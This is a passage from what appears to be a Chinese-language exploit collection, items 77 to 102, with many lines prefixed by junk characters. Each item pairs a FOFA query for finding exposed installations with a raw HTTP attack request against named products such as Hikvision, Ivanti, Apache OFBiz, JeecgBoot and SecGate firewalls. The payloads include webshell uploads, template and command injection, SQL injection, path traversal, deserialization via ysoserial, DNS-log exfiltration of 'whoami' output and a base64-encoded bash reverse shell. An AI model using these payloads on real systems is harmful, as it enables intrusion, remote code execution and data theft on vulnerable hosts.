; E9 W' b! i/ ?* wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 v) N& G* j2 ?. y$ @1 Y. i" Q: D1 }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 L9 ~8 j3 S, m! ZCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
6 h( w8 k+ j4 N4 z8 c; F! n& F% `
- o( R+ V( t- E{
+ A% U2 v, g( B8 u# l- C"command": "GetFZinfo",
; e+ w) P! G2 G$ B/ A  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
5 v: ?( m# J3 C! L+ I: m  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
; [8 Z! ]) F5 y' v* ?# l/ [6 k( B}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
. H; ^9 }+ i0 T* f5 o5 NHost: x.x.x.x



# E. O( |& m. Q2 N+ u& ]9 o77. F22服装管理软件系统UploadHandler.ashx任意文件上传
' V. m/ U/ q' b" F' b# r4 V. ?3 HFOFA：body="F22WEB登陆"
! A" @: Q2 J' _6 e4 nPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
5 R& ^, \; o3 g# K! w, ^3 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! h4 e- e" T. j7 JContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

- f' }0 Y. E6 Z  ], g; z------------398jnjVTTlDVXHlE7yYnfwBoix
! S/ M! u% D) ^' H4 I# |$ }Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
6 {: m6 B' F8 X6 @9 `Content-Type: application/octet-stream
$ b, {1 A( j) o8 y8 D* m
hello1234567
7 ~; b. o# o* n7 V------------398jnjVTTlDVXHlE7yYnfwBoix
" _3 Q3 E1 y" \/ a- _Content-Disposition: form-data; name="Upload"

* x# B, H8 \  g( Z  h6 \Submit Query
: H$ j) X: X$ z. h------------398jnjVTTlDVXHlE7yYnfwBoix--

: N4 `& }$ S8 r7 m4 `
) e& \1 q2 m. y' h4 [4 L- N78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
+ C  N  b* B$ ]! L' ]9 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. d2 c0 _( e: Z$ v; F( dConnection: close
Content-Length: 336
* C/ k# h/ ^1 SAccept-Encoding: gzip
8 }7 I/ a7 n) j' }9 l+ u. G; P' kContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
6 y3 j% X" q9 c! x/ AContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
; _: m5 g& I. V5 jContent-Disposition: form-data; name="target"
- z! K8 J, {+ q3 D5 r0 @& J
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
4 w2 x0 ?$ H' ?* Q+ B+ d# eHost: x.x.x.x
) ^1 O+ M! N/ B! {8 ^0 @% l

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
! {" l+ D9 F  N( t& D8 h/ xHost:IP
% Q+ j7 F6 F+ V5 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
0 P) o" F$ f8 W2 ^4 S/ f/ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 b) l  u- i+ @5 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 k% b4 F- B' s" A: u  NConnection: close
Upgrade-Insecure-Requests: 1
5 n$ F/ g" Y5 h) ?' `3 _
7 `& r- z2 Y+ A6 S
2 h3 L$ l6 f# ]) E/ j% k/ f* w& P2 x80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
5 {& E6 }7 E1 H* _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 f2 f5 l, s8 M1 IContent-Length: 27
4 y0 x. c. y! ], H! h& uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" N1 p+ e2 Y) [2 h) N8 eConnection: close
) C! U. B- x7 h6 P; z/ m9 m  d0 Z. OContent-Type: application/octet-stream
9 z3 Z' U8 \2 k1 @Upgrade-Insecure-Requests: 1

5 L5 J* [3 C% M0 y<% out.print("oessqeonylzaf");%>
7 g5 U* _5 m9 s* J

GET /xykqmfxpoas.jsp HTTP/1.1
& u/ ]. O* k1 cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
; a4 ~5 r( |$ f* o  l2 u; w+ sAccept-Encoding: gzip
2 w* H7 V9 P+ d+ W
- a/ F5 v1 \8 g5 X7 u; G; K6 l
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
) m6 c3 S0 s6 T/ tGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
2 E$ P. D4 U/ ~  e3 p8 J- }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! G/ J- h; |2 m% w* h6 w" lConnection: close
Accept-Encoding: gzip
* l4 y, p4 {) K

82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
9 Y# }$ I% I) m$ n1 @FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
% M! d7 M. `3 \5 b7 ?) vHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
: z- J5 Z. s! D: O- w+ f, @6 [Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
- W+ ?/ P) X6 y! S  C1 k" p
z1=1&z2="|id;"&z3=bhost


, B3 V8 ?* C- W  q0 p; o83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

; R% x2 c6 E7 F, y3 a6 G4 \
+ N/ d4 g" M4 Y% s3 G/ U7 Z: PPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
; u, F/ L9 o( a1 H: SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 N% L3 z+ J! }2 f+ v" FConnection: close
& w8 D$ g* A* t* t# Z3 O! jContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
% |2 }3 R2 \1 l5 }0 OContent-Type: application/json

PAYLOAD
- Q' b# S* @: _* u/ D) Z+ t
" C0 }9 c: @" Z3 e/ C( N84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
) ^7 b5 s% I( b4 X8 B3 A
  l% m- K8 u" d. d2 n& u
2 j% R/ s% J! A
" n1 {/ q) j# H2 s# X0 IPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
0 k2 Y# k& O% m* A6 R+ B5 qHost: 192.168.40.130:8080
3 F; g# e% _( @0 h* C9 G7 HUser-Agent: curl/7.88.1
Content-Length: 156
. ?6 d' m) b! S' R5 h& cAccept: */*
) v7 b5 f, Q* j. M- o& H& G6 tConnection: close
0 T  E6 i( J; j5 AContent-Type: application/json
Accept-Encoding: gzip

{
9 u- M: ^, v& r% c0 e "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
  [0 h& }7 p+ Z& y% H% c}
6 J& h( f4 H* v; ~

5 n, W  f: w$ Z, \' v1 n, S1 p85. SysAid On-premise< 23.3.36远程代码执行
% k7 U# e7 r/ j; R  a, D6 JCVE-2023-47246
- R7 z9 M8 p& h5 e( KFOFA：body="sysaid-logo-dark-green.png"
  ^1 H# ?) X  Q& _0 hEXP数据包如下，注入哥斯拉马
7 r6 r+ `7 S2 f, L* ?8 j1 h1 p5 _POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
: E0 {/ N, B4 l5 I# K# ^6 l8 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
6 \6 X# I  y5 J+ d# K6 W
, u$ d* Q5 n7 f7 W: m" H7 a  NPAYLOAD
+ \0 n+ B5 x! f, F1 M. l: P
回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
3 k+ \: G+ H6 K: bFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
: a6 i& j( {9 f, GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
4 }$ V0 u, l$ f' y6 t; oConnection: close
Content-Length: 44
7 t+ f. n" ~; j& S( dAccept: */*
Accept-Encoding: gzip
) R8 L& W7 i( d0 V# ]9 z/ WAccept-Language: en
  z# V( }( O! f- v0 G& l# M) m; nContent-Type: application/x-www-form-urlencoded
7 F: j$ X7 E+ ]$ W% T$ p
host=%0acat${IFS}/etc/passwd%0a&command=ping

$ _' M" o8 v* H6 f" @7 p5 F
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
8 A+ r- }) d4 Y7 R+ a6 s- ~3 W7 yHost: X.X.X.X
; y( k3 m3 J3 z6 ^2 j: fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 ^- a% j+ t% @  }8 b0 `# Q0 {Connection: close
6 t- v4 d" e, C- `/ |8 U$ IContent-Length: 198
0 e' @0 z0 J, @3 bAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
/ p5 o& O- p. C- {1 l
--qqobiandqgawlxodfiisporjwravxtvd
0 x) u, d3 o& d" x6 XContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
  u; c5 F( i* }8 ^# I% K
; `' ^) l8 Z  _. `- B4 B$ E2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
& J& r$ H# m" h( A
- x5 m3 h, t( j, t
8 c; W( G" @* z& \) _( Y" u0 M/jfhatuwe.php
1 H' z7 ]4 d* v+ m: `7 \/ w
- ?: B0 r1 j0 l88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
; B6 v3 n5 C1 c9 g+ O; \+ ]GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
& [* T% W* B2 v1 G, m0 D9 [) eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 M' c/ ]1 v# ]" v# D, a. b! jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
9 L8 ~7 }; W% J6 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' g0 d  [( {1 ~. u3 @Connection: close
: L5 A9 W9 W+ g/ ?
# k$ x" V' z) r
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
% `: w2 A# e$ d9 b7 x5 XHost: x.x.x.x
4 w6 K- ^: h  S& x( o7 B/ hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 z5 @: U) z0 m% r% H4 {( C6 G9 ^Connection: close
) Q! C* U3 x1 F* fContent-Length: 41
Content-Type: application/x-www-form-urlencoded
' r" i1 R: q) y  a! WAccept-Encoding: gzip

3 a5 G1 E) d3 roption=2&GUID=-1'+union+select+111*222--+


  y0 A% t. `7 y/ H. p90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
2 Y6 ]/ ^$ y3 `) YFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
8 u- G+ ?" M" [  u3 G# _Content-Length: 51
5 G7 a* @/ K& k. x7 ]* ~' ]2 GAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
& P, m, ~: C5 D* TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: I' t, p4 ~7 v. j. e$ yConnection: close
Content-Type: application/x-www-form-urlencoded
9 `! e( b1 M. s8 `- PX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
7 _0 L4 a3 ^- @9 S

3 }" o9 y, B! C" W6 _9 U91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
1 o' r; J. \+ H( PFOFA：title="综合安防管理平台"
8 j, y& n( `0 i" ]; q9 J& k% T6 e, O1 k! ]  BGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
8 I/ {5 S+ p3 G7 G& RAccept-Encoding: gzip, deflate
# J- L" \9 O1 w* \6 YAccept: */*
$ q8 t% Q7 O! r! t# fConnection: keep-alive

& s+ O7 P  t2 ?- E

/ E: }, m+ W6 w: F92. 海康威视运行管理中心session命令执行
" \, h) Z/ b7 x# gFastjson命令执行
; d+ C$ `" @" xhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
  D$ k! `% p! \2 h5 V' Z: o6 t  nPOST /center/api/session HTTP/1.1
4 d2 R! W( l1 ~; ^8 \Host:
0 B* z7 E& c5 g9 F2 \1 UAccept: application/json, text/plain, */*
( y0 K" m# f3 f6 }; A! B" a8 F: _Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
2 h7 a- C4 U. ~7 z& ^: d2 dX-Language-Type: zh_CN
9 u% d+ x8 o' V1 r  ~Testcmd: echo test
8 m3 ?# \, q* D# O2 u, |* JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
/ Q! z- g- ?: x) A1 S8 DFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
" ~$ U; A! f' {5 T" S4 d; B/ S9 @+ zHost: x.x.x.x
4 [, ?1 l: G% C( J: {) @. N  PContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 p1 }3 r$ r+ c) p' E. \
( ~3 S2 R" }7 b2 L& f% L------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

  ~/ L- p- ^1 H, F% N10000000
------WebKitFormBoundarykcbkgdfx
* m/ `+ V: m0 Y3 [; r2 ^# A7 mContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
. J. Z  F" v! w4 o/ g+ CContent-Type: text/plain
  @4 Y/ ~9 x2 z/ \/ G/ I
wagletqrkwrddkthtulxsqrphulnknxa
7 M) _% y' y2 F8 p' ~------WebKitFormBoundarykcbkgdfx
7 y5 r0 ?; @0 g( D- U  J! {Content-Disposition: form-data; name="submit_post"
' t6 D- c! L  D+ X
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
: U+ @/ U! d5 b, c1 C
& r  r% V% U# M0 L5 y) V& a9 k! G) y0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


. H, @. Y! @% {, @9 o: O% y$ w. ZGET /attachements/xlskxknxa.txt HTTP/1.1
" ]; W& f) d0 |2 j. D) g" _Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

8 n' @' d: M* J5 r* e
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
6 K9 o1 D* _0 ~! y# Y' JHost: x.x.x.x
8 m$ Y/ Z6 G) |. _0 B8 ^/ g9 m: \3 sContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* A; g, p5 V8 w# J) n4 G6 w
------WebKitFormBoundarybqvzqvmt
) G0 v4 }0 o% PContent-Disposition: form-data; name="MAX_FILE_SIZE"

, j1 R/ x6 l) R/ E" Z0 @# i10000000
------WebKitFormBoundarybqvzqvmt
9 ^: P2 w, t7 i- M! kContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

+ |/ I" X3 s/ }pxplitttsrjnyoafavcajwkvhxindhmu
  L9 Y& `- }0 H; s5 ^9 z  e) R------WebKitFormBoundarybqvzqvmt
7 }0 ~, @3 l: e2 lContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
0 G( a& I0 R: F6 }$ J' RContent-Disposition: form-data; name="__hash__"

; I- Z, A- l6 H. Z" X4 d0b9d6b1ab7479ab69d9f71b05e0e9445
, b( T% A- k( H, r5 _1 }/ W5 r* c------WebKitFormBoundarybqvzqvmt--

  T/ u: s: P3 g
4 K' T4 o' Q  w
GET /attachements/xlskxknxa.txt HTTP/1.1
0 A% T  ~9 Q4 G/ qHost: xx.xx.xx.xx
- [# R2 G2 [/ xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


$ h+ ~# O9 d# R
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
; u) g3 p4 F% Q1 K% \CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
' b+ y# B7 t; Z1 a2 V4 _7 PUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ p% p8 N. I& @Connection: close
Content-Length: 889
; H2 U  D2 U; U: XContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
! L( H( o. L1 p4 J' l<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
& `' D' H3 N6 }% a3 A" B" K$ e    <params>
3 r1 N* b, T. e1 m3 k3 t+ P      <param>
. r+ R/ z0 `  U9 }8 U/ p      <value>
7 q( J- f$ `9 Y* Q$ a        <struct>
       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
6 I  g4 q' r0 w) ^      </struct>
      </value>
$ o* j/ I; R% D. V9 O% ~    </param>
2 Z5 B* g9 Z' h* t+ j* t    </params>
</methodCall>
( u& r) Z; p. G: @: s

用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


7 Y/ Q* f' z4 L1 }4 w将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
: ]# ^/ j1 {6 F. z# OHost: 192.168.40.130:8443
( h' P. O( S0 ]5 M9 ^: \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
/ @4 U3 a% W+ e1 ^  X# E) ^Content-Length: 889
Content-Type: application/xml
4 v& j1 s0 [" X" YAccept-Encoding: gzip
. t/ Y; E' ?- k3 e. O0 w3 B6 B
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( e. A8 E% b5 J& YHost: localhost:8443
! @: L: O: X/ g* LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
7 L1 J3 J9 I9 f9 s( J6 I( iAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
6 ]- R  z; [/ ~
+ f3 J) n( D7 i6 o( FgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777
. L- n7 j$ j- j. N$ s! G* T! L* U
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
5 ?2 K' n$ P# O: ~5 @9 d- FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
1 K/ _% h+ F, d0 |% \1 I* K9 gContent-Length: 71

  F- }  ~' M; V9 P- FgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

3 k' j* N5 }3 H" Q6 ?0 J+ m% v97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
/ S+ ~# r* q7 ?1 c# tFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
( ^/ F; u# {( w2 M! V, F$ l0 P6 cHost: 192.168.40.130:8085
! _: \$ O1 j* b: e- ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( v) \, c5 y7 E, z! cAccept-Encoding: gzip
7 i9 A) B& k8 `6 sConnection: close
& s# @( P4 W# Y' D  A. UCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


0 Y+ T/ \5 m- I4 J6 q98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
# g1 G  ^& c. z9 \/ ?9 R5 ~FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
# u) k3 L' l2 d7 @Content-Length: 121
1 O3 _6 T; W' |+ n3 i* H$ X8 u+ eAccept: */*
Accept-Encoding: gzip, deflate
1 A0 I9 f/ d4 f+ x  b6 W, x% iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
, [* O0 C3 ?) b( w4 ~X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
* E& b, S; n  s$ k! N( U9 y
3 y+ n2 x4 `3 x
% ~% P7 _/ [1 x. s& Y6 M) q) j99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
- X0 R$ \- V  V! }4 VPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
" @2 g5 w' |2 u, O1 h: OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
/ g  g$ i$ M" n; {" r8 Z; MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
* ]0 j5 o5 S* K7 y9 F9 c# Z* y$ Z
1 ^- O* V$ I, W- u% w%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

0 }% b1 q1 W, L. u. F4 x
6 Q' _" ~  e! s% G! t- S/ _100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
; Y- y! T3 d0 KCVE-2024-0352
% ?$ h: ]# }/ FFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
6 U. A+ |% y" u( qHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! k$ _& w, f7 M2 j. G; ?0 ~, lConnection: close
+ ?  P! B  P7 C* xContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

+ D" q+ e' |% n, Z& P$ C, _: g7 q------WebKitFormBoundarygcflwtei
5 E3 U* i. B7 lContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
4 [8 ], Q- e) W3 D
9 ~- B6 y) q/ k7 P# K2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


2 p2 _$ b0 A6 U6 x101. ivanti policy secure-22.6命令注入
) r5 Y6 ^$ d$ F) f0 A; |) pCVE-2024-21887
: v3 t1 F) X8 j% @8 H( qFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
# f9 H; F$ ~% |1 L9 EHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

+ Z+ h( ^0 r9 F, `9 q6 D
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
% a  H' I" F0 }, W0 z2 e+ uCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
